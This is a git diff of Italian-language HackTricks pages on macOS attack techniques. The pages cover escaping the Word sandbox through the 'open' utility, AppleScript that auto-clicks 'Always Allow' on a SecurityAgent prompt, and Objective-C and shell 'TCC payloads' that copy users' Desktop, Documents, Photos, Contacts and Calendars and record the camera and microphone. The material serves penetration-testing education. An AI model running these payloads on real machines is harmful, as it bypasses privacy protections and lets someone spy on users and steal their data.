Controlla il [**report originale qui**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||||
|
|
||||||
### Bypass del Sandbox di Word con Open e variabili di ambiente
|
### Bypass della Sandbox di Word con Open e variabili env
|
||||||
|
|
||||||
Dai processi sandboxed è ancora possibile invocare altri processi utilizzando l'utilità **`open`**. Inoltre, questi processi verranno eseguiti **all'interno del proprio sandbox**.
|
Dai processi sandboxed è ancora possibile invocare altri processi utilizzando l'utility **`open`**. Inoltre, questi processi verranno eseguiti **all'interno della propria sandbox**.
|
||||||
|
|
||||||
È stato scoperto che l'utilità open ha l'opzione **`--env`** per eseguire un'app con **specifiche variabili di ambiente**. Pertanto, è stato possibile creare il file **`.zshenv`** all'interno di una cartella **all'interno** del **sandbox** e utilizzare `open` con `--env` impostando la variabile **`HOME`** su quella cartella aprendo l'app **Terminal**, che eseguirà il file `.zshenv` (per qualche motivo era anche necessario impostare la variabile `__OSINSTALL_ENVIROMENT`).
|
È stato scoperto che l'utility open ha l'opzione **`--env`** per eseguire un'app con **variabili env** specifiche. Pertanto, è stato possibile creare il **file `.zshenv`** all'interno di una cartella **dentro** la **sandbox** e utilizzare `open` con `--env` impostando la **variabile `HOME`** su quella cartella aprendo l'app `Terminal`, che eseguirà il file `.zshenv` (per qualche motivo era anche necessario impostare la variabile `__OSINSTALL_ENVIROMENT`).
|
||||||
|
|
||||||
Controlla il [**rapporto originale qui**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
Controlla il [**report originale qui**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||||
|
|
||||||
### Bypass del Sandbox di Word con Open e stdin
|
### Bypass della Sandbox di Word con Open e stdin
|
||||||
|
|
||||||
L'utilità **`open`** supporta anche il parametro **`--stdin`** (e dopo il bypass precedente non era più possibile utilizzare `--env`).
|
L'utility **`open`** supportava anche il parametro **`--stdin`** (e dopo il bypass precedente non era più possibile utilizzare `--env`).
|
||||||
|
|
||||||
Il punto è che anche se **`python`** è firmato da Apple, **non eseguirà** uno script con l'attributo **`quarantine`**. Tuttavia, era possibile passargli uno script da stdin in modo che non controllasse se era stato messo in quarantena o meno: 
|
Il fatto è che anche se **`python`** era firmato da Apple, **non eseguirà** uno script con l'attributo **`quarantine`**. Tuttavia, era possibile passargli uno script da stdin in modo che non controllasse se fosse stato quarantinato o meno: 
|
||||||
|
|
||||||
1. Crea un file **`~$exploit.py`** con comandi Python arbitrari.
|
1. Creare un file **`~$exploit.py`** con comandi Python arbitrari.
|
||||||
2. Esegui _open_ **`–stdin='~$exploit.py' -a Python`**, che esegue l'app Python con il nostro file inserito come input standard. Python esegue tranquillamente il nostro codice e poiché è un processo figlio di _launchd_, non è vincolato alle regole del sandbox di Word.
|
2. Eseguire _open_ **`–stdin='~$exploit.py' -a Python`**, che esegue l'app Python con il nostro file creato come input standard. Python esegue felicemente il nostro codice e, poiché è un processo figlio di _launchd_, non è vincolato alle regole della sandbox di Word.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,54 +1,56 @@
|
||||||
# Apple Scripts di macOS
|
# macOS Apple Scripts
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in formato PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Apple Scripts
|
## Apple Scripts
|
||||||
|
|
||||||
È un linguaggio di scripting utilizzato per l'automazione di compiti **interagendo con processi remoti**. Rende piuttosto facile **chiedere ad altri processi di eseguire determinate azioni**. **Malware** potrebbe sfruttare queste funzionalità per abusare delle funzioni esportate da altri processi.\
|
È un linguaggio di scripting utilizzato per l'automazione dei compiti **interagendo con processi remoti**. Rende abbastanza facile **chiedere ad altri processi di eseguire alcune azioni**. **Il malware** può abusare di queste funzionalità per sfruttare le funzioni esportate da altri processi.\
|
||||||
Ad esempio, un malware potrebbe **iniettare codice JS arbitrario nelle pagine aperte del browser**. O **fare clic automaticamente** su alcune autorizzazioni richieste all'utente;
|
Ad esempio, un malware potrebbe **iniettare codice JS arbitrario nelle pagine aperte del browser**. Oppure **cliccare automaticamente** su alcune autorizzazioni richieste all'utente;
|
||||||
```applescript
|
```applescript
|
||||||
tell window 1 of process "SecurityAgent"
|
tell window 1 of process "SecurityAgent"
|
||||||
click button "Always Allow" of group 1
|
click button "Always Allow" of group 1
|
||||||
end tell
|
end tell
|
||||||
```
|
```
|
||||||
Ecco alcuni esempi: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
Ecco alcuni esempi: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||||
Trova ulteriori informazioni sui malware che utilizzano gli AppleScripts [**qui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
Trova ulteriori informazioni su malware che utilizza applescripts [**qui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||||
|
|
||||||
Gli AppleScripts possono essere facilmente "**compilati**". Queste versioni possono essere facilmente "**decompilate**" con `osadecompile`.
|
Gli script Apple possono essere facilmente "**compilati**". Queste versioni possono essere facilmente "**decompilate**" con `osadecompile`
|
||||||
|
|
||||||
Tuttavia, questi script possono anche essere **esportati come "sola lettura"** (tramite l'opzione "Esporta..."):
|
Tuttavia, questi script possono anche essere **esportati come "Sola lettura"** (tramite l'opzione "Esporta..."):
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||||
```
|
```
|
||||||
file mal.scpt
|
file mal.scpt
|
||||||
mal.scpt: AppleScript compiled
|
mal.scpt: AppleScript compiled
|
||||||
```
|
```
|
||||||
E in questo caso il contenuto non può essere decompilato nemmeno con `osadecompile`.
|
e in questo caso il contenuto non può essere decompilato nemmeno con `osadecompile`
|
||||||
|
|
||||||
Tuttavia, ci sono ancora alcuni strumenti che possono essere utilizzati per comprendere questo tipo di eseguibili, [**leggi questa ricerca per ulteriori informazioni**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Lo strumento [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sarà molto utile per capire come funziona lo script.
|
Tuttavia, ci sono ancora alcuni strumenti che possono essere utilizzati per comprendere questo tipo di eseguibili, [**leggi questa ricerca per maggiori informazioni**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Lo strumento [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) con [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sarà molto utile per capire come funziona lo script.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,28 @@
|
||||||
# macOS TCC Payloads
|
# macOS TCC Payloads
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### Desktop
|
### Desktop
|
||||||
|
|
||||||
* **Autorizzazione**: Nessuna
|
* **Entitlement**: Nessuno
|
||||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Copia `$HOME/Desktop` in `/tmp/desktop`.
|
Copia `$HOME/Desktop` in `/tmp/desktop`.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -60,7 +58,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/Desktop` in `/tmp/desktop`.
|
Copia `$HOME/Desktop` in `/tmp/desktop`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
```
|
```
|
||||||
|
@ -69,15 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
|
|
||||||
### Documenti
|
### Documenti
|
||||||
|
|
||||||
* **Entitlement**: Nessuno
|
* **Autorizzazione**: Nessuna
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Copia `$HOME/Documents` in `/tmp/documents`.
|
Copia `$HOME/Documents` in `/tmp/documents`.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -113,7 +107,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/`Documents in `/tmp/documents`.
|
Copia `$HOME/`Documents in `/tmp/documents`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Documents" "/tmp/documents"
|
cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
```
|
```
|
||||||
|
@ -122,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
|
|
||||||
### Download
|
### Download
|
||||||
|
|
||||||
* **Entitlement**: Nessuno
|
* **Autorizzazione**: Nessuna
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Copia `$HOME/Downloads` in `/tmp/downloads`.
|
Copia `$HOME/Downloads` in `/tmp/downloads`.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -166,24 +156,20 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/Dowloads` in `/tmp/downloads`.
|
Copia `$HOME/Dowloads` in `/tmp/downloads`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### Libreria di foto
|
### Libreria Foto
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.photos-library`
|
* **Autorizzazione**: `com.apple.security.personal-information.photos-library`
|
||||||
* **TCC**: `kTCCServicePhotos`
|
* **TCC**: `kTCCServicePhotos`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`.
|
Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -219,7 +205,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`.
|
Copia `$HOME/Pictures/Photos Library.photoslibrary` in `/tmp/photos`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
```
|
```
|
||||||
|
@ -228,15 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
|
|
||||||
### Contatti
|
### Contatti
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.addressbook`
|
* **Autorizzazione**: `com.apple.security.personal-information.addressbook`
|
||||||
* **TCC**: `kTCCServiceAddressBook`
|
* **TCC**: `kTCCServiceAddressBook`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`.
|
Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -272,7 +254,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`.
|
Copia `$HOME/Library/Application Support/AddressBook` in `/tmp/contacts`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
```
|
```
|
||||||
|
@ -281,11 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
|
|
||||||
### Calendario
|
### Calendario
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.calendars`
|
* **Autorizzazione**: `com.apple.security.personal-information.calendars`
|
||||||
* **TCC**: `kTCCServiceCalendar`
|
* **TCC**: `kTCCServiceCalendar`
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="ObjectiveC" %}
|
||||||
Copia `$HOME/Library/Calendars` in `/tmp/calendars`.
|
Copia `$HOME/Library/Calendars` in `/tmp/calendars`.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -317,19 +299,24 @@ NSLog(@"Copy completed successfully.", error);
|
||||||
fclose(stderr); // Close the file stream
|
fclose(stderr); // Close the file stream
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="Shell" %}
|
||||||
Copia `$HOME/Library/Calendars` in `/tmp/calendars`.
|
Copia `$HOME/Library/Calendars` in `/tmp/calendars`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
### Telecamera
|
||||||
|
|
||||||
|
* **Autorizzazione**: `com.apple.security.device.camera`
|
||||||
|
* **TCC**: `kTCCServiceCamera`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC - Registrare" %}
|
||||||
Registra un video di 3 secondi e salvalo in **`/tmp/recording.mov`**
|
Registra un video di 3 secondi e salvalo in **`/tmp/recording.mov`**
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -407,11 +394,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjectiveC - Controllo" %}
|
||||||
Controlla se il programma ha accesso alla fotocamera.
|
Controlla se il programma ha accesso alla fotocamera.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -445,7 +429,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Scatta una foto con la fotocamera
|
Scatta una foto con la fotocamera
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
```
|
```
|
||||||
|
@ -458,11 +441,8 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
* **TCC**: `kTCCServiceMicrophone`
|
* **TCC**: `kTCCServiceMicrophone`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC - Registrare" %}
|
||||||
Registra 5 secondi di audio e salvalo in `/tmp/recording.m4a`
|
Registra 5 secondi di audio e salvalo in `/tmp/recording.m4a`
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -561,11 +541,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjectiveC - Controllo" %}
|
||||||
Controlla se l'app ha accesso al microfono.
|
Controlla se l'app ha accesso al microfono.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -597,7 +574,6 @@ static void telegram(int argc, const char **argv) {
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Registra un audio di 5 secondi e salvalo in `/tmp/recording.wav`
|
Registra un audio di 5 secondi e salvalo in `/tmp/recording.wav`
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Check the microphones
|
# Check the microphones
|
||||||
ffmpeg -f avfoundation -list_devices true -i ""
|
ffmpeg -f avfoundation -list_devices true -i ""
|
||||||
|
@ -610,18 +586,15 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||||
### Posizione
|
### Posizione
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Perché un'app possa ottenere la posizione, **i Servizi di localizzazione** (da Privacy e sicurezza) **devono essere abilitati**, altrimenti non sarà in grado di accedervi.
|
Affinché un'app possa ottenere la posizione, **i Servizi di Posizione** (da Privacy e Sicurezza) **devono essere abilitati,** altrimenti non sarà in grado di accedervi.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.location`
|
* **Autorizzazione**: `com.apple.security.personal-information.location`
|
||||||
* **TCC**: Concesso in `/var/db/locationd/clients.plist`
|
* **TCC**: Concesso in `/var/db/locationd/clients.plist`
|
||||||
|
|
||||||
{% tabs %}
|
